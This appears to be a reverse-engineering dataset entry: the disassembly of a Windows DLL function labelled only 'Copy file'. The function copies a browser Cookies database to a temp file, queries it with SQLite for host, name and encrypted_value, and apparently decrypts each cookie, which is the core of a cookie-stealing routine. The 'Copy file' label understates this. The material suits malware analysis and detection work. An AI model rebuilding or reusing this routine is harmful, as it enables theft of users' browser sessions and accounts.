Function at 0x1800059b0
Capabilities:
Copy file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x910]
sub rsp, 0xa10
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0xa60], rbx
mov rax, qword [0x180237160]
xor rax, rsp
mov qword [rbp + 0x900], rax
mov qword [rsp + 0x68], rdx
mov rdi, rcx
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
call fcn.180006ba0
movzx r15d, al
lea rcx, str.Cookies.tmp
call fcn.180184ce0
lea rcx, [rdi + 0xd8]
cmp qword [rcx + 0x18], 0x10
jb 0x180005a2c
mov rcx, qword [rcx]
mov r8d, 1
lea rdx, str.Cookies.tmp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180005a4f
mov dword [rdi + 0x58], 8
jmp 0x18000600a
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rsp + 0x60]
lea rcx, str.Cookies.tmp
call fcn.1800a21a0
test eax, eax
je 0x180005a79
mov dword [rdi + 0x58], 4
xor eax, eax
jmp 0x18000600a
xor r12d, r12d
mov qword [rsp + 0x30], r12
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea r9d, [r12 + 1]
or r8d, 0xffffffff
lea rdx, str.SELECT_host_key__name__path__encrypted_value_expires_utc_has_expires_is_persistent_FROM_cookies
mov rcx, qword [rsp + 0x60]
call fcn.180078020
test eax, eax
je 0x180005abc
mov dword [rdi + 0x58], 5
xor eax, eax
jmp 0x18000600a
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call fcn.18003bd00
cmp eax, 0x65
je 0x180005fda
lea rax, [rdi + 0x88]
mov qword [rsp + 0x70], rax
mov esi, 0x202
mov r13d, 3
nop dword [rax]
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x60], r12
mov byte [rbp - 0x70], 0
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x38], r12
mov byte [rbp - 0x48], 0
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], r12
mov byte [rbp - 0x20], 0
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x18], r12
mov byte [rbp + 8], 0
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x40], r12
mov byte [rbp + 0x30], 0
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x90], r12
mov byte [rbp + 0x80], 0
mov qword [rbp + 0xc0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xb8], r12
mov byte [rbp + 0xa8], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180004100
xor edx, edx
mov rcx, rbx
call fcn.18003c660
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x48]
call fcn.180004540
mov edx, 1
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
call fcn.1800a7eb0
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x20]
call fcn.180004540
mov edx, 2
mov rcx, rbx
call fcn.18003c660
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x30]
call fcn.180004540
mov edx, 5
mov rcx, rbx
call fcn.18003c660
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x80]
call fcn.180004540
mov edx, 6
mov rcx, rbx
call fcn.18003c660
mov rdx, rax
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0xa8]
call fcn.180004540
mov edx, 4
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.180184cb0
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1800a7fd0
mov rdi, rax
lea rax, [rbp + 0x58]
cmp rax, rdi
je 0x180005d0b
cmp qword [rbp + 0x70], 0x10
jb 0x180005cbd
mov rcx, qword [rbp + 0x58]
call fcn.180183e0c
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x68], r12
mov byte [rbp + 0x58], 0
cmp qword [rdi + 0x18], 0x10
jae 0x180005ce9
mov r8, qword [rdi + 0x10]
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x58]
call fcn.180183a80
jmp 0x180005cf3
mov rax, qword [rdi]
mov qword [rbp + 0x58], rax
mov qword [rdi], r12
mov rax, qword [rdi + 0x10]
mov qword [rbp + 0x68], rax
mov rax, qword [rdi + 0x18]
mov qword [rbp + 0x70], rax
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
cmp qword [rbp + 0xe8], 0x10
jb 0x180005d21
mov rcx, qword [rbp + 0xd0]
call fcn.180183e0c
mov edx, r13d
mov rcx, rbx
call fcn.18003c380
mov r14d, eax
test rbx, rbx
je 0x180005d8f
cmp qword [rbx + 0x28], 0
je 0x180005d64
cmp r13w, word [rbx + 0x88]
jae 0x180005d64
mov rcx, qword [rbx]
mov rcx, qword [rcx + 0x18]
test rcx, rcx
je 0x180005d57
call qword [0x1802387c8]
mov rdi, qword [rbx + 0x28]
add rdi, 0xa8
jmp 0x180005d96
mov rax, qword [rbx]
test rax, rax
je 0x180005d8f
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x180005d7b
call qword [0x1802387c8]
mov rcx, qword [rbx]
mov dword [rcx + 0x44], 0x19
mov edx, 0x19
call fcn.180015390
lea rdi, [0x18020dc18]
movzx ecx, word [rdi + 8]
test cl, 0x12
je 0x180005dc1
mov rcx, rdi
call fcn.180033dd0
test eax, eax
je 0x180005db0
mov rsi, r12
jmp 0x180005def
or word [rdi + 8], 0x10
cmp dword [rdi + 0xc], 0
je 0x180005dab
mov rsi, qword [rdi + 0x10]
jmp 0x180005def
movzx eax, cx
and ax, si
cmp ax, si
jne 0x180005dd8
cmp byte [rdi + 0xa], 1
jne 0x180005dd8
mov rsi, qword [rdi + 0x10]
jmp 0x180005def
test cl, 1
je 0x180005de2
mov rsi, r12
jmp 0x180005def
mov dl, 1
mov rcx, rdi
call fcn.180034ce0
mov rsi, rax
test rbx, rbx
je 0x180005e2f
mov edx, dword [rbx + 0x84]
mov rcx, qword [rbx]
cmp byte [rcx + 0x55], 0
jne 0x180005e12
cmp edx, 0xc0a
je 0x180005e12
mov eax, dword [rcx + 0x48]
and eax, edx
jmp 0x180005e17
call fcn.180012990
mov dword [rbx + 0x84], eax
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x180005e2f
call qword [0x1802387d8]
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x100]
call fcn.180189610
mov edx, r13d
mov rcx, rbx
call fcn.18003c380
mov edi, eax
mov edx, r13d
mov rcx, rbx
call fcn.18003c660
mov rcx, rax
lea r8, [rbp + 8]
lea edx, [rdi + 1]
call fcn.1800a7cc0
test al, al
jne 0x180005fa1
test r15b, r15b
je 0x180005fa1
lea r13, [rsi + 3]
add r14d, 0xfffffff1
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp - 0x80], xmm0
call fcn.1800ab040
mov rdi, rax
test rax, rax
jne 0x180005ea1
xor ecx, ecx
jmp 0x180005f55
call fcn.1800ae9c0
mov rdx, rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call fcn.1800ac090
test eax, eax
jne 0x180005ecb
xor ecx, ecx
jmp 0x180005f55
xor r9d, r9d
lea edx, [r9 + 9]
lea r8d, [r9 + 0xc]
mov rcx, rdi
call fcn.1800aba70
test eax, eax
jne 0x180005ee6
xor ecx, ecx
jmp 0x180005f55
mov qword [rsp + 0x20], r13
mov r9, qword [rbp - 0x78]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1800ac090
test eax, eax
jne 0x180005f04
xor ecx, ecx
jmp 0x180005f55
mov dword [rsp + 0x20], r14d
lea r9, [rsi + 0xf]
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x100]
mov rcx, rdi
call fcn.1800ab590
test eax, eax
jne 0x180005f29
xor ecx, ecx
jmp 0x180005f55
movsxd r12, dword [rsp + 0x40]
lea rdx, [rbp + r12 + 0x100]
lea r8, [rsp + 0x40]
mov rcx, rdi
call fcn.1800ab870
add r12d, dword [rsp + 0x40]
mov rcx, rdi
call fcn.1800ab070
mov ecx, 1
add r12d, 0xfffffff0
mov byte [rbp + r12 + 0x100], 0
test ecx, ecx
je 0x180005f85
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x100]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0x100]
jmp 0x180005f92
mov r8d, 6
lea rdx, str.failed
lea rcx, [rbp + 8]
call fcn.180004540
mov r13d, 3
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x68]
call fcn.180006ea0
nop
lea rcx, [rbp - 0x70]
call fcn.180006040
mov rcx, rbx
call fcn.18003bd00
cmp eax, 0x65
mov rax, qword [rsp + 0x70]
mov esi, 0x202
mov r12d, 0
jne 0x180005af0
mov rcx, rbx
call fcn.18003acb0
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.18009f940
lea rcx, str.Cookies.tmp
call fcn.180184ce0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
mov rcx, qword [rbp + 0x900]
xor rcx, rsp
call fcn.180183a50
mov rbx, qword [rsp + 0xa60]
add rsp, 0xa10
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret